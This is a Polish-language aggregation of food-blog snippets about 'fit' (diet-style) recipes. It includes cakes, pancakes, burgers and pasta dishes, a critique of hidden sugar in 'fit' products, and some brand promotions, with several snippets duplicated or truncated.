wypasionej obtaczamy w jajku i bułce tartej i smażymy na rozgrzanym oleju po 5-7 min. z każdej strony. w wersji mniej kalorycznej smażymy bez panierki a wersji całkowicie fit – pieczemy na blasze w piekarniku 15 min w 180 stopni. Wszystkie wersje równie smaczne. kotlety ziemniaczane z brokułami

MORE musli skoncentrowanych w tubie DIET FOOD bezglutenowy makaron spaghetti zero kalorii LUXURY Makaron z fasoli lub ciecierzycy NATURAVENA Masło orzechowe kremowe SOLEVITA Napój chia 1. Sante Fit Pełnoziarniste płatki zbożowe truskawka, malina, wiśnia 3,99/225 g (Tesco) Składniki : Płatki zbożowe z pełnego ziarna 96,5% (jęczmienne, ryżowe), owoce liofilizowane 2,2% (wiśnia, truskawka, malina), zagęszczone soki owocowe(...)sycą dużo słabiej niż świeże – jeśli chcemy się najeść, garść truskawek będzie lepszym wyborem niż łyżka suszonych owoców (co jest szczególnie istotne na diecie redukcyjnej) wielki napis „FIT” może niektórym sugerować, że to produkt którym można objadać się bez opamiętania, bez zwracania uwagi na kaloryczność opakowanie szybko się gniecie, nie wygląda estetycznie Lubię ten produkt, chętnie

Sosy sałatkowe Gotowe sałatki z sosami Sosy do ryżu/makaronu Paczkowane pieczywo Produkty typu light Owoce w puszce Wędliny Przykładowo w jednych z najpopularniejszych płatków śniadaniowych uznawanych za produkt "fit" w składzie ukryty jest cukier pod 5 postaciami:  cukier,  syrop cukrowy, melasa cukru trzcinowego, ekstrakt słodowy  jęczmienny , syrop glukozowy ...  Hmmm może coś mnie ominęło(...)kiedy cukier jest "fit"? A teraz jeszcze jedna ciekawostka. Poniżej skład kilku produktów, które znalazłam na dziale zdrowa żywność. A pierwsze trzy z nich - uwaga - opisane jako "bez cukru"... Oczywiście ktoś może powiedzieć, że wszystko jest dla ludzi i spożywanie cukrów w umiarkowanych ilościach nie zaszkodzi. Problem w tym, że jedząc produkty, w których cukru się nie spodziewamy

Opis fit raffaello: Fit raffaello – kto nie lubi pysznych kokosowych kuleczek. Kto powiedział, że na diecie nie można zjeść nic słodkiego? Otóż można! Wystarczy poświęcić dosłownie chwilkę i przygotować pyszne, sycące i zdrowe pralinki, które można traktować nie tylko jako deser. Smakują świetnie, i co istotne – można jeść je bez wyrzutów sumienia. Składniki: 100 g kaszy jaglanej(...)masy masy formujemy niewielkie kuleczki. W środek kuleczek wkładamy po migdale. Na końcu każdą kulkę obtaczamy w wiórkach kokosowych. Gotowe pralinki odstawiamy do lodówki na minimum 1 godzinę. Artykuł Fit raffaello pochodzi z serwisu Przepisy kulinarne, przepisy na obiad - FoodMagazine.pl

jeszcze raz. Bardzo polecam, a sama zastanawiam się, czy fit ciasto espresso z orzechami i daktylami nie wyląduje u mnie jako babka wielkanocna (możliwe, że znowu odrobinę zmodyfikowana ;)). Fit ciasto espresso z orzechami i daktylami 200 g daktyli bez pestek 1,5 łyżki dobrej jakości kawy rozpuszczalnej 1,25 szklanki wody 0,5 łyżeczki sody 0,5 łyżeczki(...)Dodać do mokrych składników i zmiksować do uzyskania jednolitej masy. Ciasto wylać na foremkę wyłożoną papierem do pieczenia, posypać orzechami i piec około 50 minut w 180 stopniach. Artykuł Fit ciasto espresso z orzechami i daktylami pochodzi z serwisu Fitkot

kalarepą, sprawdźcie koniecznie mój ostatni wpis , czyli pyszne ciasto. Polecam też profil bloga na Facebooku i Instagramie – wtedy nie przegapicie żadnego z przepisów pojawiających się na fitkot.pl Fit placki z kalarepą i marchewką 9-10 sztuk 2 niewielkie kalarepy (waga jednej po obraniu to około 120 g) 1 marchewka (100 g po obraniu) 1 łyżeczka ulubionych ziół(...)resztą składników. Masę podzielić na około 9-10 części i smażyć (na małym ogniu) na niewielkiej ilości oleju kokosowego (można też użyć masła klarowanego) z dwóch stron.   Artykuł Fit placki z kalarepą i marchewką pochodzi z serwisu Fitkot

kalarepą, sprawdźcie koniecznie mój ostatni wpis , czyli pyszne ciasto. Polecam też profil bloga na Facebooku i Instagramie – wtedy nie przegapicie żadnego z przepisów pojawiających się na fitkot.pl Fit placki z kalarepą i marchewką 9-10 sztuk 2 niewielkie kalarepy (waga jednej po obraniu to około 120 g) 1 marchewka (100 g po obraniu) 1 łyżeczka ulubionych ziół(...)resztą składników. Masę podzielić na około 9-10 części i smażyć (na małym ogniu) na niewielkiej ilości oleju kokosowego (można też użyć masła klarowanego) z dwóch stron.   Artykuł Fit placki z kalarepą i marchewką pochodzi z serwisu Fitkot

było dużo warzyw, ale szukam nowych ciekawych gatunków i sposobów ich przygotowania. Na samym końcu listy przepisów znajdziecie także FIT frytki – frytki pieczone z batatów lub warzyw, FIT chipsy – pieczone z batatów lub z ciecierzycy. Nie dość że są mniej kaloryczne, to jeszcze przepyszne. Ten zbiór będzie się na pewno sukcesywnie powiększał, na blogu w każdym(...)WÓDKĄ BOEUF BOURGIGNON DORSZ PIECZONY Z WARZYWAMI PULPETY RYBNE W SOSIE POMIDOROWYM PIECZONY KALAFIOR KREM Z POMIDORÓW ZUPA JARZYNOWA (możesz nie dodawać śmietany do zupy) ZUPA GROCHOWA W WERSJI FIT KREM Z MARCHEWKI Z POMARAŃCZĄ I IMBIREM KREM Z BIAŁYCH SZPARAGÓW KREM Z BURACZKÓW KREM Z GROSZKU Z MLEKIEM KOKOSOWYM ZUPA PHO Z MAKARONEM RYŻOWYM PIKANTNA ZUPA Z PORA

wypieków ciąg dalszy, ale tym razem w lżejszej, zdrowszej i zdecydowanie mniej tradycyjnej wersji. Jednym słowem, z okazji zbliżających się postanowień noworocznych, mam dla Was przepyszne, proste i szybkie FIT ciasto z mąki kokosowej. Wilgotne, delikatne, bardzo kokosowe z dużymi kawałkami słodkiego, soczystego ananasa. Wszystko w myśl hasła: smacznie, zdrowo, kolorowo. Koniecznie przetestujcie, myślę, że deser w takim wydaniu(...)ciasto i posypać wiórkami kokosowymi. 5) Piec w piekarniku nagrzanym do 180 stopni przez 25-30 min. 6) Gotowe ciasto wystudzić. Artykuł Ciasto z mąki kokosowej z ananasem | FIT ciasto pochodzi z serwisu FitSweet

wypieków ciąg dalszy, ale tym razem w lżejszej, zdrowszej i zdecydowanie mniej tradycyjnej wersji. Jednym słowem, z okazji zbliżających się postanowień noworocznych, mam dla Was przepyszne, proste i szybkie FIT ciasto z mąki kokosowej. Wilgotne, delikatne, bardzo kokosowe z dużymi kawałkami słodkiego, soczystego ananasa. Wszystko w myśl hasła: smacznie, zdrowo, kolorowo. Koniecznie przetestujcie, myślę, że deser w takim wydaniu(...)ciasto i posypać wiórkami kokosowymi. 5) Piec w piekarniku nagrzanym do 180 stopni przez 25-30 min. 6) Gotowe ciasto wystudzić. Artykuł Ciasto z mąki kokosowej z ananasem | FIT ciasto pochodzi z serwisu FitSweet

mrożone) ale dodatki można dobrać według upodobań – może to być pokrojona szynka, żółty ser, pieczarki czy kawałki kabanosa,. Moja wersja to wydanie dietetyczne bo ostatnio staram się być fit. Gwarantuję że takie przekąski na ciepło zrobią wrażenie na gościach. Składniki: 8 kromek chleba tostowego (może być pełnoziarnisty) 8 jajek 8 łyżek dodatków (u mnie kurki z cebulką(...)pokruszyła. Nastawiamy piekarnik na 180 stopni. Do każdego chlebka wbijamy po 1 jajku i przyprawiamy. Wstawiamy do piekarnika na 15-18 min. Gotowe! Smacznego! Przekąski na ciepło – fit babeczki na słono

Drożdżówki fit z dżemem Pyszne drożdżówki fit !  Niesłodkie, wilgotne i miękkie - pyszna propozycja na II śniadanie. Składniki: (na 12 drożdżówek) - 3 szklanki mąki orkiszowej lub gryczanej; - 2 szklanki mąki pszennej; - 6 łyżek oleju; - 5 łyżek cukru trzcinowego/ksylitolu; - 1 łyżeczka soli morskiej; - 1 łyżka nasion chia; - 3 małe jaja; - 1/3 kostki świeżych drożdży; - 1 szklanka mleka; - ulubiony dżem(...)papierem do pieczenia, odstaw na 15 minut aby jeszcze podrosły i posmaruj białkiem jaja; - piecz w temperaturze 170 stopni przez ok.20-25 minut, aż się pięknie zarumienią. Propozycja podania drożdżówki fit na zdjęciu: z odrobiną masła orzechowego. SMACZNEGO

ciastka są zdecydowanie fit i zdrowe, pod warunkiem, że nie zjecie wszystkich naraz ;) Bardzo proste, pyszne chrupiące i do tego zdecydowanie fit, będą smakować zarówno małym jak i dużym miłośnikom słodkości. Składniki: 2 szklanki płatków owsianych 100 g żurawiny 100 g słonecznika 50 g sezamu 3 łyżki miodu 150ml mleka 3 jajka W jednym naczyniu mieszamy suche składniki

lekko natłuszczonej patelni. Podajemy z dowolnymi owocami (u mnie kawałki banana i fig). Placuszki możemy zrobić na śniadanie, na obiad, na podwieczorek lub nawet na deser. „ Placuszki FIT z bananem i płatkami owsianymi ” to świetna i zdrowa propozycja dla wszystkich dbających o swoje zdrowie oraz dla naszych dzieci. Jeżeli stosujecie dietę bezglutenową , użyjcie bezglutenowych płatków owsianych (czyli(...)takich, które zostały wyprodukowane na terenie niezanieczyszczonym przez inne zboża glutenowe). Zobaczcie inne Przepisy na dania z bananami oraz Przepisy na dania z płatkami owsianymi . The post Placuszki FIT z bananem i płatkami owsianymi – danie w 5 minut appeared first on Moja Delicja

mega zdrowy! Odchudzający koktajl z banana i pietruszki wg Ewy Chodakowskiej Koktajl hamujący apetyt – do zrobienia w 5 minut! Odchudzający koktajl z buraka i awokado wg Ewy Chodakowskiej Fit budyń jaglany(...)bananem i brzoskwiniami Mega szybkie i dietetyczne muffinki śniadaniowe Dietetyczny obiad, czyli pieczona pierś kurczaka z warzywami Pulpeciki z cukinii w sosie pomidorowym Cukinia faszerowana ryżem i kaszą jaglaną – fit! Dietetyczny kurczak z cukinią i brokułami The post Polędwiczki zapiekane z bakłażanem i cukinią appeared first on KulinarnePrzeboje.pl

zawiera ~845 kcal (waga bez zmian) pizzerka (pizza w formie "drożdżówkowej") waży ok. 100g i zawiera ~250 kcal Co zatem zrobić, aby nasza pizza była mniej kaloryczna i bardziej fit? Po pierwsze uderzymy w  ciasto , gdzie zamienimy tradycyjną mąkę na razową. Dlaczego?? Nawet jeśli nadal będziemy kuleć z kaloriami to dzięki przynajmniej dostarczymy organizmowi witaminy (głównie(...)groszku najlepiej używaj w niewielkich ilościach. Jeśli wybierasz bekon, salami, czy tłuste smażone mięso to musisz pamiętać, że np. 10 plasterków salami to dodatkowe 240 kcal. Zobacz też:  FIT PIZZA na cienkim cieście ;  Pizza - historia prawdziwa Więcej na:  Ile waży kawałek pizzy ;  Bonavita - Dlaczego zwykłą mąkę warto zastąpić zdrową mąką pełnoziarnistą

Fit ciasto czekoladowe z buraków, bez mąki Zainspirowani zdrowym stylem życia i oryginalnym składem produktów, które tworzą nasi koledzy z Whoopy Whey postanowiliśmy stworzyć przepis na dietetyczne ciasto czekoladowe – bez mąki, za to z dodatkiem płatków owsianych i buraków. Słodkości zamiast cukru dodaje syrop klonowy, który można również zastąpić ksylitolem czy niewielką ilością miodu. Dzięki dodaniu buraków, ciasto(...)niej masę. Ciasto pieczemy w temperaturze 190 stopni z termoobiegiem przez około 50 minut. Idealnie pasują do ciasta takie dodatki jak płatki migdałowe i lody waniliowe, najlepiej również fit – lody proteinowe, bez dodatku cukru Artykuł Fit ciasto czekoladowe z buraków, bez mąki pochodzi z serwisu Taste and Cook

Proste batoniki fit z daktylami, wegańskie, bez cukru, bez glutenu – Dzisiaj przepyszna „ Zdrowa Środa ” :) o tak! Zapraszam na bardzo smaczne, proste, szybkie w przygotowaniu batoniki fit wegańskie, bez cukru, bez glutenu. Z dużą ilością daktyli, orzechów. Są bardzo pożywne i stanowią zdrową alternatywę dla sklepowych słodyczy. Polecam… Proste batoniki fit z daktylami, wegańskie, bez cukru

serdecznie i Was tam zapraszam Nie mogłam się oprzeć pokusie i je zrobiłam. Te kulki mocy są słodziutkie (naturalny cukier!), zdrowe oraz pożywne. Do kawy doskonałe! Przepis na fit kulki Drukuj przepis Porcji: 30-40 Czas gotowania: 30 minut Składniki 150 g daktyli 1,5 szklanki płatków owsianych 3/4 szklanki orzechów arachidowych 1,5 łyżki nasion chia 1 łyżka(...)blendera, a następnie dodajemy płatki, orzechy, chia, miód, kakao oraz sok. 3 Wszystko blendujemy na jednolitą masę i formujemy z niej kuleczki, które obtaczamy w wiórkach. Artykuł FIT kulki owsiane z daktylami i orzechami pochodzi z serwisu kuchniabazylii.pl

życia i więcej spalać niż przyswajać, to oprócz tego że dania muszą być niskokaloryczne, to ich przygotowanie nie powinno zabierać zbyt dużo czasu. Wychodząc z tego założenia postanowiłam przygotować fit gołąbki bez zawijania. Smak jest bardzo zbliżony do tradycyjnych ale kalorii dużo mniej. Polecam! Z proporcji, które podaję wyszła wielka zapiekanka, połowę zjedliśmy we dwójkę na dwa obiady(...)Piekarnik nagrzać do 180 stopni (góra/dół). Wstawić zapiekankę na 30-40 min. Gotowe! Można podać z sosem pomidorowym ( zobacz przepis ) lub pieczarkowym – choć ten już mniej fit ( zobacz przepis ). Fit gołąbki z sosem pomidorowym Gołąbki bez zawijania z sosem pieczarkowym

ciasto kakaowe z kulkami serowymi. Ciasto z serowymi kulkami Dla tych, którzy preferują Świeta w wersji FIT polecam przepis na dietetyczne, zdrowe Rafaello i koniecznie zajrzyjcie do kategorii FIT. FIT Rafaello Z kolei u tych, którzy nie liczą kalorii i nie lubią piec na wielkanocnym stole musi pojawić się ciasto 3 BIT i banana dream. Ciasto

się zrobić takie, z których jestem naprawdę zadowolona :-) Miękkie, puszyste, pulchne. Wyczuwalny smak bananów i kokosa. Co ważne, placuszki są bezglutenowe, bez zbóż i dodatku cukru. Proteinowe fit placuszki kokosowo - bananowe Składniki: 3 jajka 1/2 szkl jogurtu naturalnego lub śmietanki kokosowej (może być tez kefir) 3 łyżki mąki kokosowej 1 miarka (ok. 15 gram) odżywki białkowej

Ostatnio zaczynam właśnie eksperymentować z takimi rzeczami. Na słodko, ale i zdrowo. To naprawdę ciekawe połączenie. Od Kingi właśnie dowiedziałem się jak można jeść desery i jednocześnie być fit. Warto tego spróbować, bo zdrowe słodkości niczym nie ustępują tym bardziej kalorycznym. Są równie pyszne. A często robi się je o wiele szybciej. Zachęcam do zapoznania się z wydaną(...)temu książką Kingi "Fit Słodkości". A ja tymczasem gładko przejdę do ciasta bananowego nazywanego czasami "chlebkiem". »»» CZYTAJ DALEJ

wtedy gdy go nie ma w domu. Ostatnio w moim menu śniadaniowym zagościł omlet szpinakowy, a kilka dni temu na kolację popełniłam taką oto tartę, zdecydowanie pyszną i zdecydowanie fit, pod warunkiem, że nie zjecie całej za jednym razem :), spróbujcie koniecznie.   Ciasto: 1 jajko 1 łyżka oleju 6 łyżek płatków owsianych 5 łyżek otrębów (użyłam orkiszowych) 3 łyżki

Easy . Makaron z marchewki, krótko dusiłam z dodatkiem imbiru, sosu sojowego, czosnku i chili. Takie warzywa na pewno posmakują, osobom dbającym o zdrowe odżywianie. ➡️  Nowość w ofercie Marki Fit&Easy - makarony ze świeżych warzyw, gotowe od razu do spożycia, z natury al'dente ™ . Świetnie smakują na surowo, blanszowane, smażone, pieczone lub krótko gotowane na parze. ➡️ Idealne(...)marchewki i buraka. ➡️ Nie zawierają konserwantów ani sztucznych barwników. ➡️ Kolorowe, kształtem przypominają spaghetti, pięknie prezentują się na talerzu.   Składniki: (dla 2 osób) 300 g Spaghetti z marchewki  Fit&Easy 2 łyżki świeżego imbiru (starty lub siekany) 4 łyżki sosu sojowego 2 cebule dymki 2 łyżki prażonych ziaren sezamu 3 ząbki czosnku (przeciśnięty przez praskę lub drobno

Easy wprowadza na rynek zupełną nowość – makarony w 100% ze świeżych warzyw! Kolorowe i bardzo długie paski z marchewki i buraka przypominają swoim kształtem spaghetti. Makarony z warzyw od Fit&Easy, które otrzymałam wczoraj, zainspirowały mnie do przygotowania dzisiejszego dania. W stylu azjatyckim, bardzo smaczne i szybkie w przygotowaniu.  Makaron z marchewką i grzybami shitake Składniki(...)makaronu azjatyckiego (wybrałam noodle) 3 garście makaronu z marchewki Fit&Easy 5 grzybów shitake (mogą być z zalewy) 2-3 łyżki sosu sojowego 1 szczypta ostrej papryki w proszku 1 łyżka oleju Przygotowanie: Makaron przekładamy do miski. Zagotowujemy wodę, zalewamy makaron wrzątkiem. Odstawiamy, aby napęczniał na 5 minut. Na patelni lub w woku rozgrzewamy olej, dodajemy makaron

tych, którzy dbają o linię, a mają niewiele czasu na gotowanie. Wołowina, bułka owsiana i warzywa. Prosto, smacznie i pożywnie. Spróbujcie Zobaczcie też: Burgery wieprzowo-wołowe Przepis na fit burgera wołowego Drukuj przepis Porcji: 1 Czas gotowania: 20 minut Składniki 100-150 g mielonej wołowiny plaster pomidora kilka plasterków cebuli roszponka lub dowolna sałata/szpinak bułka owsiana sól(...)Nakładamy na spód bułki roszponkę, kotleta, pomidora i cebulę. Przykrywamy drugą połówką bułki. Porady Opcjonalnie, do smaku można dodać łyżeczkę musztardy do środka bułki - na kotlet/roszponkę. Artykuł Fit burger wołowy pochodzi z serwisu kuchniabazylii.pl

tych, którzy dbają o linię, a mają niewiele czasu na gotowanie. Wołowina, bułka owsiana i warzywa. Prosto, smacznie i pożywnie. Spróbujcie Zobaczcie też: Burgery wieprzowo-wołowe Przepis na fit burgera wołowego Drukuj przepis Porcji: 1 Czas gotowania: 20 minut Składniki 100-150 g mielonej wołowiny plaster pomidora kilka plasterków cebuli roszponka lub dowolna sałata/szpinak bułka owsiana sól(...)Nakładamy na spód bułki roszponkę, kotleta, pomidora i cebulę. Przykrywamy drugą połówką bułki. Porady Opcjonalnie, do smaku można dodać łyżeczkę musztardy do środka bułki - na kotlet/roszponkę. Artykuł Fit burger wołowy pochodzi z serwisu kuchniabazylii.pl

Czasami najlepsze są najprostsze dania. Tym razem przepis na pyszny fit makaron w sosie pomidorowym z kurczakiem. Podstawą tego dania jest oczywiście sos pomidorowy, który osobiście polecam przygotować w większej ilości i przechowywać w słoiku. Kiedy następnym razem będziemy mieli ochotę na makaron w sosie pomidorowym wystarczy ugotować ulubiony makaron, usmażyć kurczaka i dodać wcześniej przygotowany sos. Całość(...)Węglowodany: 306,1 g Wartości odżywcze 1 porcji: Energia: 632,2 kcal Białko: 41,8 g Tłuszcze: 17,7 g Węglowodany: 76,4 g   Artykuł Fit makaron w sosie pomidorowym z kurczakiem pochodzi z serwisu ale Pysznie

mnie została zjedzona w wersji solo, ale może też stanowić smaczny dodatek obiadowy. Wystarczy mieszanka sałat, kilka dodatków i mamy urozmaiconą przekąskę. 1 opakowanie mieszanki sałat (u mnie Smart - Fit&Easy ) (*) 3 plastry żółtego sera 2 garstki oliwek (u mnie nadziewane papryką) 1 papryka marynowana (u mnie kawałki różnych kolorów) 2 łyżki posiekanego szczypiorku 2 łyżki prażonych pestek(...)delikatnie oprószyć solą z pieprzem. (Swoją sałatkę dodatkowo posypałam nitkami chilli i udekorowałam plastrem sera z oliwką - spiętymi wykałaczką.) Podawać bezpośrednio po przygotowaniu. (*) Nie wiem czy zauważyliście, ale sałaty Fit&Easy posiadają nowe i czytelne opakowania.  Ich nazwy są bardzo fajnie przemyślane, a z tyłu każdej paczki można znaleźć przepis z zastosowaniem danego mixu

Dzisiaj przepis z najnowszej książki Lidla "Kuchnia polska według Karola Okrasy". Tak jak Karol lubi łamać przepisy - u mnie też małe zmiany - zaproponuję Wam wersję fit pysznych placuszków z kaszy gryczanej i  cukinii - chociaż wersja klasyczna też bombą kalorii nie jest :)  Więcej o książce na końcu posta SKŁADNIKI (4 porcje - 1 porcja - 289 kcal) 1 woreczek kaszy(...)biała cebula 3 łyżki posiekanej natki pietruszki  + opcjonalnie do posypania placków 2 jajka  1 cukinia (około 350 g) 150 ml gęstej kwaśnej śmietany  (w wersji fit - gęsty jogurt grecki + do okraszenia) 2 ząbki czosnku sól,  pieprz 1 łyżeczka mielonego kminku 1/2 szklanki mąki pszennej (można zastąpić mąką bezglutenową) 1 łyżeczka proszku do pieczenia

idealna propozycja na obiad lub kolację póki cukinie są jeszcze ogólnodostępne :) Przepis lekko zmodyfikowany pochodzi ze strony: mniammniam.com Cukinia faszerowana ryżem i kaszą jaglaną – fit! – Składniki: 2 średniej wielkości cukinie (każda po 400g) pół woreczka białego ryżu (50g – masa przed ugotowaniem) 1 woreczek kaszy jaglanej […] The post Cukinia faszerowana ryżem i kaszą jaglaną(...)fit! appeared first on KulinarnePrzeboje.pl

Zdrowy, aromatyczny i bardzo łatwy w przygotowaniu fit makaron z awokado, indykiem i pomidorkami koktajlowymi z dodatkiem świeżej mięty. Ten makaron jest po prostu nie z tej ziemi i dowiesz się tego dopiero jak go spróbujesz. Kremowy sos, którego bazą jest awokado z dodatkiem lekko ostrego czosnku, oliwy z oliwek, kolendry, orzeźwiającego soku z cytryny, soli i pieprzu idealnie(...)Węglowodany: 139,8 g Wartości odżywcze 1 porcji: Energia: 534,2 kcal Białko: 31,9 g Tłuszcze: 14,1 g Węglowodany: 69,9 g   Artykuł Fit makaron z awokado, indykiem i pomidorkami pochodzi z serwisu ale Pysznie

spices, garlic and water – mix carefully and put aside. Wash the vegetables, dry them and cut in thin slices. Tear the lettuce into pieces that will fit the bread. Make the sauces – put the ingredients into bowls and mix them. Preheat the grill pan, put a bit of oil on it. Form three burgers, they should(...)same size as the bread is so they’ll fit it, more or less they’ll have 7 cm diameter and 1,5 cm thickness. Put them on the pan and fry for about 1,5-2 minutes one side, turn it, put a slice of cheese on it and fry further until the meat is ready

pilnować. Bułki najlepiej zjedz tego samego  dnia albo odgrzej w tosterze lub piekarniku następnego.  A Wy często sami robicie domowe pieczywo? Moje bułeczki powstały do 100% domowych fit burgerów . Śledźcie nas na Facebooku , Instagramie i Google+ . Miłego weekendu!  Paulina

Nowości, nowości... na blogu już funkcjonuje nowa zakładka DANIA FIT   znajdziecie w niej przepisy na lekkie, zdrowe i kolorowe dania (a czasem nawet słodkie), które wyróżniłam jako FIT W te sposób wszyscy dbający o dietę łatwiej znajdą coś dla siebie ;) Dania z kategorii fit zyskały też "fitowy" znacznik. Have

porcja w wersji ze śmietanką - 209 kcal - białko - 1,8 g, tłuszcz - 15,3 g, węglowodany - 17,5 g, błonnik - 1,35 g 1 porcja w wersji FIT -  103 kcal - białko - 7,6 g, tłuszcz - 0,3 g, węglowodany - 18,9 g , błonnik - 1,35 g  Zapraszam na  fanpage na FB oraz  Instagram Wersja(...)FIT

PUDDING CHIA orzechowy -  PUDDING CHIA: KLIK PUDDING CHIA malinowy -  PUDDING CHIA: KLIK Jeśli macie ochotę na inny fit deser, zajrzyjcie do posta:   5 razy FIT DESERY: KLIK  Zachęcam do obserwowania mojego profilu na   ♥︎ ♥︎  Instagramie ♥︎ ♥︎   Facebooku

makaronem w stylu fit. Makaron razowy + pyszny, lekki sos pieczarkowy na bazie jogurtu z koperkiem. Spróbujcie, polecam. Taki obiad nie tylko dobrze smakuje, ale też i syci. Obiad fit. Razowy makaron w lekkim pieczarkowym sosie Obiad fit. Razowy makaron w lekkim pieczarkowym sosie 2016-05-09 08:50:26 Write a review Save Recipe Print 0 calories

kiełbasy z grilla, sera korycińskiego i włoskiego kremu z octem balsamicznym z Modeny. Dodatkowo chrupiące liście rzodkiewki i aromatyczna rucola sprawią , że danie będzie charakterystyczne i lekkie. Po prostu FIT! Składniki kiełbasa sołtysa  HAŃDEREK cukinia baby czerwona papryka ananas rucola liście rzodkiewki bazylia crema con Aceto Balsamico di Modena IGP classica z  LIDL olej rzepakowy RAPSO(...)była jeszcze dość ciepła przed podaniem. Ser koryciński pokrój w grubsze trójkąty. Całość dosmacz zygzakami z włoskiego kremu z octem balsamicznym  i ...danie z grilla w wersji FIT- gotowe! Smacznego

Składniki odżywcze znajdujące się w hummusie pomagają regulować i utrzymywać na stałym poziomie cukier we krwi - dla mnie jak znalazł, bo miewam z tym problem! Przygotowanie mojej wersji FIT Kanapki długo mi nie zajęło.  W chlebaku ostało się jeszcze pieczywo z wczorajszego, własnoręcznego pieczenia - przepis na chleb z kaszą manną wkrótce na blogu.  Na to solidne maźnięcie(...)pomidora . Na wierzch trochę szczypiorku . Sól i pieprz do smaku. Wszystko to okraszone kapką oliwy z oliwek - dodatek konieczny, bo z tłuszczem dopiero przyswajają się witaminy. W ten sposób FIT Kanapka warzywna gotowa! Zdrowo, pożywnie i smacznie - nic więcej do szczęścia na dzisiejsze śniadanie mi nie potrzeba

FIT(...)FIT FIT:) Składniki; burak ugotowany lub upieczony, szpinak, ser feta, sezam, ocet balsamiczny Wykonanie; Ugotowanego buraka kroimy dodajemy szpinak , sezam, kruszymy ser feta i skrapiamy octem balsamicznym

niezastąpione. Dlatego zapraszam Was na pyszny orkiszowy koktajl gruszkowy. Spróbujcie. Składniki: 1 gruszka 1 szklanka mleka 2 łyżki otrąb orkiszowych prażonych 1/2 łyżki miodu do podania proponuję: fit snack ziarnisty słonecznik+sezam Piekarni Galicyjskiej Przygotowanie: Gruszkę obieramy, kroimy i wycinamy gniazda. Wkładamy do misy blendera z ostrymi nożami. Dodajemy 2 łyżki otrąb orkiszowych prażonych i miód. Całość zalewamy(...)szklanką mleka. Miksujemy. Podajemy od razu np. w towarzystwie fit snack ziarnistego słonecznik+sezam. Jeśli nasz koktajl ma być podany po jakimś czasie, przed spożyciem należy go dokładnie przemieszać. Smacznego

około 1 cm. Piec na złoty kolor przez 25 min. Po tym czasie ciastka przełożyć na kratkę do całkowitego wystudzenia. Smacznego! Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit Kokosowo-owsiane ciasteczka Fit listonic_type='fooddrink';listonic_theme='addToShoppingList7';listonic_content='1 i 1/2 szklanki gęstego musu ze słodkich jabłek (mniej więcej 2 duże jabłka) 3 łyżki

grasicy cielęcej, 35 g masła, 200 g żółtego mirepioix*, 75 g madery, 400 ml bulionu, 1 szt. bouqet garnis**, 20 g masła, sól, pieprz, 100 g Rukoli Fit&Easy, 50 g płatków migdałów, chili, produkty dodane*** 50 g żurawiny suszonej, 150 ml czerwonego wytrawnego wina , miód Grasicę namocz w zimnym mleku przez 24 godziny.  Odsącz ręcznikiem papierowym(...)cieple,  sos przetrzeć przez sito i zredukować przez gotowanie. Na talerz wyłożyć sos, na nim ułożyć grasicę, posypać migdałami i żurawiną. Obok ułożyć rukolę. Oczywiście rukola od Fit&Easy – producenta świeżych sałat i warzyw. Taki przepis otrzymałyśmy do przyrządzenia podczas warsztatów z Janem Kuroniem, na zaproszenie Fit&Easy , które odbyły się w studio kulinarnym Smolna

kremy, racuchy , pancakes i ciasta , więc teraz przyszła pora na dyniowe muffinki. Ale nie będą to takie zwykłe dyniowe muffinki, bo będzie lekko, dietetycznie i fit – BE FIT! Zjedzenie takich muffinek od czasu do czasu nie zaszkodzi, no ale pamiętajmy, że jest to deser i nie należy z nimi przesadzać. Muffinki dyniowe są niesamowicie miękkie, delikatne, kruche

mnie, dającej się porwać w wir konsumenckich zagrywek. A co jeżeli chcemy zaoszczędzić, zaimponować znajomym lub po prostu cieszyć się codziennie smakiem Pumpkin Spice Latte ? Najprostszy syrop dyniowy (wersja "fit" i ta odrobinę mniej): - 2 szklanki puree z dyni (dynię ugotować do miękkości i dokładnie zblendować) - szklanka wody - 3/4 szklanki cukru lub stewi/ksylitolu/erytrolu/pyłku kwiatowego - kopiasta łyżeczka cynamonu

Składniki: Pierś z kurczaka Mix sałat Rukola Rzodkiewka kiełki rzodkiewki Pomidorki koktajlowe Jogurt grecki light przyprawa do drobiu Fit-up przyprawa do sałatek Fit-up przyprawa Secrets of India Bombaj Masala (Kotanyi) Przygotowanie: Kurczaka oczyścić i pokroić w kostkę. Obsypać przyprawą do drobiu Fit-up oraz przyprawa Secrets of India Bombaj Masala (Kotanyi). Podsmażyć na patelni

tego pyszne. :) Ps. Ja nie użyłam ani deka cukru, bo truskawki były wystarczająco słodkie, ale jeśli ktoś ma potrzebę może sobie masę serową dosłodzić. fit sernik, fit śniadanie, sernik, sernik z truskawkami, szybkie zdrowe śniadanie, truskawki, Zapiekanki, Zdrowe jedzonko, zdrowe śniadanie

spodobały się opublikowane kiedyś ciasteczka zbożowe :) Dzisiejsze muffinki to takie słodycze w wersji fit: z otrębami, płatkami owsianymi i rodzynkami. Zwykle dość nieufnie podchodzę do produktów, które są "fit", bo zwyczajnie nie są smaczne, domowe babeczki owsiane pod każdym względem dorównują jednak swoim "nie-tak-fit" wariantom ;) Składniki: 200 g mąki 70 g cukru 50 g otrębów

było sympatycznie i czasami nawet bardzo śmiesznie. Zostałyśmy zaproszone razem z Krysią i Amelią do uczestnictwa w Plenerowym Pikniku - Opolskie Fit. Naszym zadaniem, było przygotowanie przekąsek fit i częstowanie nimi uczestników imprezy. Przyznaję, że w mojej kuchni dania fit pojawiają się sporadycznie, ale sprostałam wyzwaniu :) Impreza odbyła się wczoraj, a zainteresowanie było ogromne. Nie zdążyłyśmy przygotować naszego

razem czas, ale zapoznać się też z ofertą tego miejsca i kuchnią FIT. Podczas wizyty odbyła się także uroczysta kolacja i ogłoszenie wyników na najlepsze danie inspirowane "Kuchnią Fit" Konrada Gacy. Zaskoczenie było ogromne, bo mój przepis na Dietetyczny deser z musem z persymony został uznany za najlepszy w swojej kategorii!   Zupełnie się tego nie spodziewałam(...)jest mi miło - bo chyba zawsze jest, gdy ktoś Cię docenia? Zwłaszcza przy takiej konkurencji... Nagroda? Publikacja w drugiej części książki "Kuchnia Fit" Konrada Gacy oraz wprowadzenie do menu w Gaca SPA. Cudowne uczucie, które sprawia, że chce się tworzyć, działać i brać udział w konkursach...bo przecież nigdy nie wiadomo :) Takie same wyróżnienia otrzymali blogerzy, których dania zostały

